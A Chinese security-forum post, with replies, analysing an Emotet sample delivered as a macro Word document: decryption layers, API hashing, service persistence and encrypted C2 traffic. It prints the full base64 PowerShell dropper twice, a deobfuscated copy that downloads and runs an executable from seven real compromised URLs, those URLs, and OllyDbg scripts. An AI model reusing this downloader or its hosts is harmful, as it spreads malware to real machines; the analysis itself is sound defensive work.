-
-
[原创]Emotet病毒分析
-
发表于: 2020-9-21 11:00
-
emmmm，刚入门的小白一个和VirtualCC一起分析了这个病毒，最近也是突然又爆发的一个病毒
样本：PO# 09012020Ex.doc
流程：
获取了文档
打开宏恶意代码应该开始执行了，alt+f11
调试提取一下powershell
-e表示它接受命令的base64编码的字符串版本
变量On4491p是我们的URL列表
邮件中下载的一个附件，样本通过virtual alloc下断可以看到对内存的一个操作
flprotect 是0x40
可读可写
发现通过一个类似于RC4的动态解密第一次
把动态解密的
2048个，解密出来的东西dump出来，再次放入ida中
标准的RC4解密
这次还会进行动态解密，但是解密出来的结果中有一个PE文件，直接DUMP出来了
可以看到没有导入表 
这里运用了hash值，shellcode的一个手段，这样就很难去看出来api是什么，在sub_40481D之间运用了平坦化大量的switch case来干扰我们的判断，类似于ollvm的平坦化，但是OD中有ODScript脚本
看这些api应该就知道了所有的一个流程
我们回到原来的dump文件看看都干什么了一个流程：
申请我们拉伸后的空间：
入口点：
那么在这里开始执行我们的一个操作：
一般通过hash值加密的，可以直接动调去看，返回值在EAX中，我们直接动态调试
拷贝了可执行程序到C:\Windows\SysWOW64下，文件夹和文件都是随机的，两个文件是一样的
把我们的当前的exe注册为服务，启动类型自动保持exe一直存在，对应OD就是：（因为再次测试的时候会跟之前的有些不同，所以图片对不上名字）
调试服务（方法）：
找了很多帖子方法，找到了怎么调试服务记录一下，方便以后去用 https://bbs.pediy.com/thread-229643.htm
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options
修改启动服务时间
在原来的exe跑ODScript
查看到HTTP相关服务的API：
我们request时候线程的停止需要我们激活所有的线程
了解了流程之后，我们看一下encrypt传了什么，可以看到传了本机的用户名，以及文件的信息，到服务器端
使用了RSA和AES算法上传到服务器
InternetReadFile：
同样他会下载东西到本机里，这里可能C2服务器已经失效，文件的大小是0
C2服务器 通过硬编码的方式，和C2服务器进行交互：
C2 服务器地址：
dim yy = Join(x,"")
debug.print x
dim yy = Join(x,"")
debug.print x
powersheLL -e JABZAHgAeABuAGkAZgAwAD0AKAAnAEMAJwArACgAJwA2ACcAKwAnAGQAbQBiAGYAJwApACsAJwA4ACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAdQBzAEUAUgBQAFIATwBmAEkAbABFAFwAeQBlAEQAegBiAHEANQBcAFAARgAyAHEAUAAyAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQByAEkAVAB5AGAAUABSAE8AYABUAGAATwBjAG8ATAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAnACsAKAAnADEAJwArACcAMgAnACsAJwAsACAAdABsAHMAMQAxACwAIAB0AGwAJwApACsAJwBzACcAKQA7ACQAUwB2AHkAawBqAHUAcgAgAD0AIAAoACcASgAnACsAKAAnADMAJwArACcAcwBhACcAKQArACcAdAAnACsAKAAnADgAbgAnACsAJwB4AGEAJwApACkAOwAkAE4AYQBlADUAcwBfAGEAPQAoACcASQAnACsAKAAnAHgAOAAnACsAJwBkADUAJwApACsAJwA0AGYAJwApADsAJABDADUAagBlAGYANgBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFoAJwArACgAJwBLACcAKwAnAHYAWQBlACcAKwAnAGQAegBiACcAKQArACgAJwBxADUAWgBLAHYAUAAnACsAJwBmACcAKwAnADIAJwApACsAKAAnAHEAcAAyAHUAJwArACcAWgAnACkAKwAnAEsAdgAnACkALgAiAFIARQBgAFAATABBAGAAQwBFACIAKAAoACcAWgBLACcAKwAnAHYAJwApACwAWwBTAFQAcgBpAG4ARwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAFMAdgB5AGsAagB1AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABQAGgAbgByADgAcQBqAD0AKAAnAEMAJwArACgAJwB5AGkAdQByAGIAJwArACcAagAnACkAKQA7ACQAUAB1AGIAMQBoAHIAagA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AGUAQgBDAEwASQBlAE4AdAA7ACQATwBuADQANAA5ADEAcAA9ACgAKAAnAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAHYAJwApACsAJwBpACcAKwAoACcAZAByAGkAbwBkACcAKwAnAGUAYwAnACsAJwBvAHIAJwApACsAJwBhACcAKwAoACcAYwAnACsAJwBpAG8AJwApACsAKAAnAG4AJwArACcALgBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACgAJwB3AHAALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuAC8ATQAnACsAJwBJACcAKQArACcASAAvACcAKwAnACoAJwArACgAJwBoAHQAdAAnACsAJwBwADoALwAnACkAKwAnAC8AdgAnACsAKAAnAGEAJwArACcAbgBiACcAKQArACgAJwByAGEAcwAnACsAJwB0ACcAKQArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACcALwAnACsAJwBiACcAKwAnAGwAJwArACcAZQAnACsAKAAnAGUAYwBoAC8AZgBSACcAKwAnAC8AJwApACsAJwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AdgAnACsAJwBhAHIAaQB2AG8AJwArACcAZABhAC4AJwApACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAoACcAYwBnACcAKwAnAGkAJwApACsAKAAnAC0AJwArACcAYgAnACsAJwBpAG4ALwA4ADkAJwApACsAJwA3AC8AJwArACgAJwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKwAnAHcAJwApACsAKAAnAGEAawAnACsAJwBhAG4AJwApACsAKAAnAC0AdAAnACsAJwBhAG4AawAnACkAKwAoACcAYQAuACcAKwAnAG8AcgBnAC8AJwApACsAKAAnAEsAbAAnACsAJwBlAGkAJwApACsAKAAnAG4AdAAnACsAJwBlACcAKwAnAGkAbABlAC8ARQAnACsAJwAvACoAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8ALwB3ACcAKwAnAHcAdwAuAHcAZQBiAGgAbwAnACsAJwBzAHQANAAnACsAJwBjACcAKwAnAGgAJwArACcAcgBpAHMAdAAnACsAJwAuACcAKQArACcAbwAnACsAJwByAGcAJwArACgAJwAvACcAKwAnAEwAQQAnACkAKwAnAE0AJwArACcAQgAvACcAKwAoACcARAAvACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAvAC8AdwBoACcAKQArACgAJwBpACcAKwAnAHQAZQAtAG8AJwApACsAKAAnAG4ALQByACcAKwAnAGkAYwAnACsAJwBlAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBMACcAKwAnAG8AJwArACgAJwBnACcAKwAnAG8AcwAvACcAKwAnAFUALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8ALwB6AGEAaAAnACsAJwBuACcAKwAnAGEAJwArACcAcgB6AHQAJwApACsAKAAnAC0AZgAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAcwBiACcAKwAnAHUAJwApACsAJwByACcAKwAoACcAZwAnACsAJwAuAGMAbwBtACcAKQArACcALwAnACsAKAAnAGMAZwAnACsAJwBpAC0AYgAnACsAJwBpAG4ALwAnACkAKwAoACcATAAnACsAJwA4AC8AJwApACkALgAiAHMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgA4AHcAMAB1AGoAbQA9ACgAJwBJACcAKwAoACcAbgAnACsAJwA1AGoAZAAnACkAKwAnAGoAMAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOADUANQBxAGUAeAB2ACAAaQBuACAAJABPAG4ANAA0ADkAMQBwACkAewB0AHIAeQB7ACQAUAB1AGIAMQBoAHIAagAuACIAZABPAFcATgBMAGAAbwBhAEQARgBJAGAATABFACIAKAAkAE4ANQA1AHEAZQB4AHYALAAgACQAQwA1AGoAZQBmADYAawApADsAJABXAGQAbABnAGsAdQBwAD0AKAAoACcAVABtACcAKwAnADIAJwApACsAJwA2ACcAKwAoACcAMgAnACsAJwBxAGgAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQwA1AGoAZQBmADYAawApAC4AIgBsAEUAYABOAGcAYABUAGgAIgAgAC0AZwBlACAAMgA1ADIAOAA1ACkAIAB7AC4AKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEMANQBqAGUAZgA2AGsAKQA7ACQAVwAyADkAaABnADYAbgA9ACgAKAAnAEcAZQB0AHcAJwArACcAXwAnACkAKwAnAHkANgAnACkAOwBiAHIAZQBhAGsAOwAkAE4AegBuADIAZAAyADQAPQAoACcATgAnACsAKAAnAGgAaQBzACcAKwAnAHIAJwApACsAJwBuADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPADgAaABzAGEAdAB5AD0AKAAnAFkAJwArACcAbQAnACsAKAAnAGIAcAA4AHIAJwArACcAMwAnACkAKQA=
powersheLL -e JABZAHgAeABuAGkAZgAwAD0AKAAnAEMAJwArACgAJwA2ACcAKwAnAGQAbQBiAGYAJwApACsAJwA4ACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAdQBzAEUAUgBQAFIATwBmAEkAbABFAFwAeQBlAEQAegBiAHEANQBcAFAARgAyAHEAUAAyAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQByAEkAVAB5AGAAUABSAE8AYABUAGAATwBjAG8ATAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAnACsAKAAnADEAJwArACcAMgAnACsAJwAsACAAdABsAHMAMQAxACwAIAB0AGwAJwApACsAJwBzACcAKQA7ACQAUwB2AHkAawBqAHUAcgAgAD0AIAAoACcASgAnACsAKAAnADMAJwArACcAcwBhACcAKQArACcAdAAnACsAKAAnADgAbgAnACsAJwB4AGEAJwApACkAOwAkAE4AYQBlADUAcwBfAGEAPQAoACcASQAnACsAKAAnAHgAOAAnACsAJwBkADUAJwApACsAJwA0AGYAJwApADsAJABDADUAagBlAGYANgBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFoAJwArACgAJwBLACcAKwAnAHYAWQBlACcAKwAnAGQAegBiACcAKQArACgAJwBxADUAWgBLAHYAUAAnACsAJwBmACcAKwAnADIAJwApACsAKAAnAHEAcAAyAHUAJwArACcAWgAnACkAKwAnAEsAdgAnACkALgAiAFIARQBgAFAATABBAGAAQwBFACIAKAAoACcAWgBLACcAKwAnAHYAJwApACwAWwBTAFQAcgBpAG4ARwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAFMAdgB5AGsAagB1AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABQAGgAbgByADgAcQBqAD0AKAAnAEMAJwArACgAJwB5AGkAdQByAGIAJwArACcAagAnACkAKQA7ACQAUAB1AGIAMQBoAHIAagA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AGUAQgBDAEwASQBlAE4AdAA7ACQATwBuADQANAA5ADEAcAA9ACgAKAAnAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAHYAJwApACsAJwBpACcAKwAoACcAZAByAGkAbwBkACcAKwAnAGUAYwAnACsAJwBvAHIAJwApACsAJwBhACcAKwAoACcAYwAnACsAJwBpAG8AJwApACsAKAAnAG4AJwArACcALgBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACgAJwB3AHAALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuAC8ATQAnACsAJwBJACcAKQArACcASAAvACcAKwAnACoAJwArACgAJwBoAHQAdAAnACsAJwBwADoALwAnACkAKwAnAC8AdgAnACsAKAAnAGEAJwArACcAbgBiACcAKQArACgAJwByAGEAcwAnACsAJwB0ACcAKQArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACcALwAnACsAJwBiACcAKwAnAGwAJwArACcAZQAnACsAKAAnAGUAYwBoAC8AZgBSACcAKwAnAC8AJwApACsAJwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AdgAnACsAJwBhAHIAaQB2AG8AJwArACcAZABhAC4AJwApACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAoACcAYwBnACcAKwAnAGkAJwApACsAKAAnAC0AJwArACcAYgAnACsAJwBpAG4ALwA4ADkAJwApACsAJwA3AC8AJwArACgAJwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKwAnAHcAJwApACsAKAAnAGEAawAnACsAJwBhAG4AJwApACsAKAAnAC0AdAAnACsAJwBhAG4AawAnACkAKwAoACcAYQAuACcAKwAnAG8AcgBnAC8AJwApACsAKAAnAEsAbAAnACsAJwBlAGkAJwApACsAKAAnAG4AdAAnACsAJwBlACcAKwAnAGkAbABlAC8ARQAnACsAJwAvACoAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8ALwB3ACcAKwAnAHcAdwAuAHcAZQBiAGgAbwAnACsAJwBzAHQANAAnACsAJwBjACcAKwAnAGgAJwArACcAcgBpAHMAdAAnACsAJwAuACcAKQArACcAbwAnACsAJwByAGcAJwArACgAJwAvACcAKwAnAEwAQQAnACkAKwAnAE0AJwArACcAQgAvACcAKwAoACcARAAvACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAvAC8AdwBoACcAKQArACgAJwBpACcAKwAnAHQAZQAtAG8AJwApACsAKAAnAG4ALQByACcAKwAnAGkAYwAnACsAJwBlAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBMACcAKwAnAG8AJwArACgAJwBnACcAKwAnAG8AcwAvACcAKwAnAFUALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8ALwB6AGEAaAAnACsAJwBuACcAKwAnAGEAJwArACcAcgB6AHQAJwApACsAKAAnAC0AZgAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAcwBiACcAKwAnAHUAJwApACsAJwByACcAKwAoACcAZwAnACsAJwAuAGMAbwBtACcAKQArACcALwAnACsAKAAnAGMAZwAnACsAJwBpAC0AYgAnACsAJwBpAG4ALwAnACkAKwAoACcATAAnACsAJwA4AC8AJwApACkALgAiAHMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgA4AHcAMAB1AGoAbQA9ACgAJwBJACcAKwAoACcAbgAnACsAJwA1AGoAZAAnACkAKwAnAGoAMAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOADUANQBxAGUAeAB2ACAAaQBuACAAJABPAG4ANAA0ADkAMQBwACkAewB0AHIAeQB7ACQAUAB1AGIAMQBoAHIAagAuACIAZABPAFcATgBMAGAAbwBhAEQARgBJAGAATABFACIAKAAkAE4ANQA1AHEAZQB4AHYALAAgACQAQwA1AGoAZQBmADYAawApADsAJABXAGQAbABnAGsAdQBwAD0AKAAoACcAVABtACcAKwAnADIAJwApACsAJwA2ACcAKwAoACcAMgAnACsAJwBxAGgAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQwA1AGoAZQBmADYAawApAC4AIgBsAEUAYABOAGcAYABUAGgAIgAgAC0AZwBlACAAMgA1ADIAOAA1ACkAIAB7AC4AKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEMANQBqAGUAZgA2AGsAKQA7ACQAVwAyADkAaABnADYAbgA9ACgAKAAnAEcAZQB0AHcAJwArACcAXwAnACkAKwAnAHkANgAnACkAOwBiAHIAZQBhAGsAOwAkAE4AegBuADIAZAAyADQAPQAoACcATgAnACsAKAAnAGgAaQBzACcAKwAnAHIAJwApACsAJwBuADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPADgAaABzAGEAdAB5AD0AKAAnAFkAJwArACcAbQAnACsAKAAnAGIAcAA4AHIAJwArACcAMwAnACkAKQA=
$Yxxnif0=(C6dmbf8);
&(new-item) $env:usERPROfIlE\yeDzbq5\PF2qP2U\ -itemtype diREcTORy;
[Net.ServicePointManager]::"SeCUrITyPROTOcoL" = (tls12, tls11, tls);
$Svykjur = (J3sat8nxa);
$Nae5s_a=(Ix8d54f);
$C5jef6k=$env:userprofile(ZKv Yedzbq5 ZKv Pf2qp2u ZKv."REPLACE"ZKv,[STrinG][cHAR]92)$Svykjur.exe;
$Phnr8qj=(Cyiurbj);
$Pub1hrj=&(new-object) NEt.weBCLIeNt;
$On4491p= http://vidriodecoracion.com/wp-admin/MIH/*
http://vanbrast.com/bleech/fR/*
http://varivoda.com/cgi-bin/897/*
http://wakan-tanka.org/Kleinteile/E/*
https://www.webhost4christ.org/LAMB/D/*
http://white-on-rice.com/Logos/U/*
http://zahnarzt-flensburg.com/cgi-bin/L8/."sPLit"[char]42;
$J8w.ujm=(In5jdj.);
foreach($N55qexv in $On4491p)
{ try{
$Pub1hrj."dOWNLoaDFILE"($N55qexv, $C5jef6k);
$Wdlgkup=(Tm262qh);
If ((&Get-Item $C5jef6k)."lENgTh" -ge 25285)
{.(Invoke-Item)($C5jef6k);
$W29hg6n=(Getw_y6);
break;
$Nzn2d24=(N(hisr)n7)
} }
catch{}
}$O8hsaty=(Ym(bp8r3))
$Yxxnif0=(C6dmbf8);
&(new-item) $env:usERPROfIlE\yeDzbq5\PF2qP2U\ -itemtype diREcTORy;
[Net.ServicePointManager]::"SeCUrITyPROTOcoL" = (tls12, tls11, tls);
$Svykjur = (J3sat8nxa);
$Nae5s_a=(Ix8d54f);
$C5jef6k=$env:userprofile(ZKv Yedzbq5 ZKv Pf2qp2u ZKv."REPLACE"ZKv,[STrinG][cHAR]92)$Svykjur.exe;
$Phnr8qj=(Cyiurbj);
$Pub1hrj=&(new-object) NEt.weBCLIeNt;
$On4491p= http://vidriodecoracion.com/wp-admin/MIH/*
http://vanbrast.com/bleech/fR/*
http://varivoda.com/cgi-bin/897/*
http://wakan-tanka.org/Kleinteile/E/*
https://www.webhost4christ.org/LAMB/D/*
http://white-on-rice.com/Logos/U/*
http://zahnarzt-flensburg.com/cgi-bin/L8/."sPLit"[char]42;
$J8w.ujm=(In5jdj.);
foreach($N55qexv in $On4491p)
{ try{
$Pub1hrj."dOWNLoaDFILE"($N55qexv, $C5jef6k);
$Wdlgkup=(Tm262qh);
If ((&Get-Item $C5jef6k)."lENgTh" -ge 25285)
{.(Invoke-Item)($C5jef6k);
$W29hg6n=(Getw_y6);
break;
$Nzn2d24=(N(hisr)n7)
} }
catch{}
}$O8hsaty=(Ym(bp8r3))
http://vidriodecoracion.com/wp-admin/MIH/
http://vanbrast.com/bleech/fR/
http://varivoda.com/cgi-bin/897/
http://wakan-tanka.org/Kleinteile/E/
https://www.webhost4christ.org/LAMB/D/
http://white-on-rice.com/Logos/U/
http://zahnarzt-flensburg.com/cgi-bin/L8/
http://vidriodecoracion.com/wp-admin/MIH/
http://vanbrast.com/bleech/fR/
http://varivoda.com/cgi-bin/897/
http://wakan-tanka.org/Kleinteile/E/
https://www.webhost4christ.org/LAMB/D/
http://white-on-rice.com/Logos/U/
http://zahnarzt-flensburg.com/cgi-bin/L8/
//FIND eip,#FFD683c4148BCDE8#
//CMP $RESULT,0
//JE exit
//STI
VAR tmpAddrVAR tmpVAR para1VAR para2VAR para3VAR apiNameVAR addrBP 410528
RUNSTIFIND eip,#FF55D48945D0B801000000#
CMP $RESULT,0
JE exitBP $RESULTRUNSTIFIND eip,#FFD58B77548BD88B44245C#
BP $RESULTRUNSTOMOV tmpAddr,eaxMOV tmp,eaxFIND eip,#FFD6837C246000747C#
CMP $RESULT,0
JE exitBP $RESULTRUNSTIloop:FIND tmpAddr,#E8????FFFF59FFD0#
CMP $RESULT,0
JE exitBP $RESULTMOV tmpAddr,$RESULTADD tmpAddr,4
JMP loopexit:FIND tmp,#E83CFFFFFF59FFD0#
BC $RESULTFIND tmp,#E821FFFFFF59FFD0#
BC $RESULTFIND tmp,#E81AFDFFFF3529E15B09#
MOV addr,$RESULTBP $RESULTRUNCOBMOV tmpAddr,0
Loop1:CMP tmpAddr,0
JNE HasInitMOV tmpAddr,eipHasInit:STIRUNCOBFind:// 暂存api函数名字
LEN [ecx]
MOV apiName,[ecx],$RESULTSTOSTOSTOCMP !ZF,1
// 如果相等那么写入文件
JE WriteRUNCOBJMP FindWrite:WRTA "HASH.TXT",tmpAddr
WRTA "HASH.TXT",apiName
MOV tmpAddr,0
RUNCOBJMP Loop1MSG "参数获取完毕"
ret//FIND eip,#FFD683c4148BCDE8#
//CMP $RESULT,0
//JE exit
//STI
VAR tmpAddrVAR tmpVAR para1VAR para2VAR para3VAR apiNameVAR addrBP 410528
RUNSTIFIND eip,#FF55D48945D0B801000000#
CMP $RESULT,0
JE exitBP $RESULTRUNSTIFIND eip,#FFD58B77548BD88B44245C#
BP $RESULTRUNSTOMOV tmpAddr,eaxMOV tmp,eaxFIND eip,#FFD6837C246000747C#
CMP $RESULT,0
JE exitBP $RESULTRUNSTIloop:FIND tmpAddr,#E8????FFFF59FFD0#
CMP $RESULT,0
JE exitBP $RESULTMOV tmpAddr,$RESULTADD tmpAddr,4
JMP loopexit:FIND tmp,#E83CFFFFFF59FFD0#
BC $RESULTFIND tmp,#E821FFFFFF59FFD0#
BC $RESULTFIND tmp,#E81AFDFFFF3529E15B09#
MOV addr,$RESULTBP $RESULTRUNCOBMOV tmpAddr,0
Loop1:CMP tmpAddr,0
JNE HasInitMOV tmpAddr,eipHasInit:STIRUNCOBFind:// 暂存api函数名字
LEN [ecx]
MOV apiName,[ecx],$RESULTSTOSTOSTOCMP !ZF,1
// 如果相等那么写入文件
JE WriteRUNCOBJMP FindWrite:WRTA "HASH.TXT",tmpAddr
WRTA "HASH.TXT",apiName
MOV tmpAddr,0
RUNCOBJMP Loop1MSG "参数获取完毕"
retVAR tmpAddrVAR tmpVAR para1VAR para2VAR para3BP 410528
RUNSTIFIND eip,#FF55D48945D0B801000000#
CMP $RESULT,0
JE exitBP $RESULTRUNSTIFIND eip,#FFD58B77548BD88B44245C#
BP $RESULTRUNSTOMOV tmpAddr,eaxMOV tmp,eaxFIND eip,#FFD6837C246000747C#
CMP $RESULT,0
JE exitBP $RESULTRUNSTIloop:FIND tmpAddr,#E8????FFFF59FFD0#
CMP $RESULT,0
JE exitBP $RESULTMOV tmpAddr,$RESULTADD tmpAddr,4
JMP loopexit:FIND tmp,#E83CFFFFFF59FFD0#
BC $RESULTFIND tmp,#E821FFFFFF59FFD0#
BC $RESULT//RUN
//COB
//Loop1:
//MOV tmpAddr,eip
//STI
//MOV para3,[esp+4]
//MOV para2,ecx
//MOV para1,edx
//WRTA "HASH.TXT",tmpAddr
//WRTA "HASH.TXT",para1
//WRTA "HASH.TXT","\r\n"
//WRTA "HASH.TXT",para2
//WRTA "HASH.TXT","\r\n"
//WRTA "HASH.TXT",para3
//RUN
//COB
//JMP Loop1
MSG "脚本执行完毕"
retVAR tmpAddrVAR tmpVAR para1VAR para2VAR para3BP 410528
RUNSTIFIND eip,#FF55D48945D0B801000000#
CMP $RESULT,0
JE exitBP $RESULTRUNSTIFIND eip,#FFD58B77548BD88B44245C#
BP $RESULTRUNSTOMOV tmpAddr,eaxMOV tmp,eaxFIND eip,#FFD6837C246000747C#
CMP $RESULT,0
JE exitBP $RESULTRUNSTIloop:FIND tmpAddr,#E8????FFFF59FFD0#
CMP $RESULT,0
JE exitBP $RESULTMOV tmpAddr,$RESULTADD tmpAddr,4
JMP loopexit:FIND tmp,#E83CFFFFFF59FFD0#
BC $RESULTFIND tmp,#E821FFFFFF59FFD0#
BC $RESULT//RUN
//COB
//Loop1:
//MOV tmpAddr,eip
//STI
//MOV para3,[esp+4]
//MOV para2,ecx
//MOV para1,edx
//WRTA "HASH.TXT",tmpAddr
//WRTA "HASH.TXT",para1
//WRTA "HASH.TXT","\r\n"
//WRTA "HASH.TXT",para2
//WRTA "HASH.TXT","\r\n"
//WRTA "HASH.TXT",para3
//RUN
//COB
//JMP Loop1
MSG "脚本执行完毕"
ret402E20GetProcessHeap402E20GetProfileSectionW402E20HeapAlloc402E20GetModuleHandleA402E20RtlAllocateHeap404FFDLoadLibraryW402F9FHeapFree402FBFHeapFree402F9FGetProcessHeap404FFDcrypt32.dll404FFDshell32.dll404FFDurlmon.dll404FFDuserenv.dll404FFDwtsapi32.dll404FFDwininet.dll406950OpenSCManagerW4069E5CloseServiceHandle4069BESHGetFolderPathW405791GetModuleFileNameW4057B4PathSkipRootW405765PathFindExtensionW4057F6lstrcpynW406900GetModuleFileNameW402E20_snwprintf402F9FGetProcessHeap402E20FindFirstFileW402E20FindNextFileW402E20FindClose40664CGetCommandLineW406530CommandLineToArgvW406607LocalFree405B92GetModuleFileNameW405C0BCreateFileW405BB6GetFileInformationByHandleEx405BDECloseHandle405C42GetSystemTimeAsFileTime4062CCOpenServiceW406263CloseServiceHandle40640CGetTickCount4063C7lstrcpyW4063DClstrlenW4064AElstrlenW4067F3GetTickCount40680BGetCurrentProcessId402F7Cmemset402F7Cmemset402E20SHFileOperationW4060FDGetModuleFileNameW402F7Cmemset402F7Cmemset402E20DeleteFileW405ADEGetSystemTimeAsFileTime405A3CCreateFileW405A06SetFileInformationByHandle405FEFOpenSCManagerW405EE7CreateServiceW4039AAEnumServicesStatusExW403A9dQueryServiceConfig2W403957ChangeServiceConfig2W402F9F406014WaitForSingleObject405CD0402F7CCreateProcessW4035E0ExitProcess402E20GetProcessHeap402E20GetProfileSectionW402E20HeapAlloc402E20GetModuleHandleA402E20RtlAllocateHeap404FFDLoadLibraryW402F9FHeapFree402FBFHeapFree402F9FGetProcessHeap404FFDcrypt32.dll404FFDshell32.dll404FFDurlmon.dll404FFDuserenv.dll404FFDwtsapi32.dll404FFDwininet.dll406950OpenSCManagerW4069E5CloseServiceHandle4069BESHGetFolderPathW405791GetModuleFileNameW4057B4PathSkipRootW405765PathFindExtensionW4057F6lstrcpynW406900GetModuleFileNameW402E20_snwprintf402F9FGetProcessHeap402E20FindFirstFileW402E20FindNextFileW402E20FindClose40664CGetCommandLineW406530CommandLineToArgvW406607LocalFree405B92GetModuleFileNameW405C0BCreateFileW405BB6GetFileInformationByHandleEx405BDECloseHandle405C42GetSystemTimeAsFileTime4062CCOpenServiceW406263CloseServiceHandle40640CGetTickCount4063C7lstrcpyW4063DClstrlenW4064AElstrlenW4067F3GetTickCount40680BGetCurrentProcessId402F7Cmemset402F7Cmemset402E20SHFileOperationW4060FDGetModuleFileNameW402F7C[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
|
|
|---|---|
|
|
感谢分享~ 这应该是Emotet比较新的版本，上周我这边也看到了很多相同结构的，比较活跃。
分析的很详细，支持一下~ 顺便，如果方便，下次可以将分析的样本打包上传到论坛，提供给想学习的读者练习。 
|
|
|
谢谢 |
|
|
下次会打包一下 ，第一次发还不太熟悉
|
|
|
|
|
|
mark，在编辑帖子界面可以补发病毒样本 |
|
|
get！ |
|
|
二木哥 流弊！ |
|
|
原来这又是Emotet，只把宏看了一下，没去看下载的Emotet，多谢。
最后于 2020-9-23 12:13
被不懂就不懂编辑
，原因：
|
|
|
|
|
|
+1 |
|
|
|
|
|
|
|
|
|
|
|
|
如斯咩咩咩
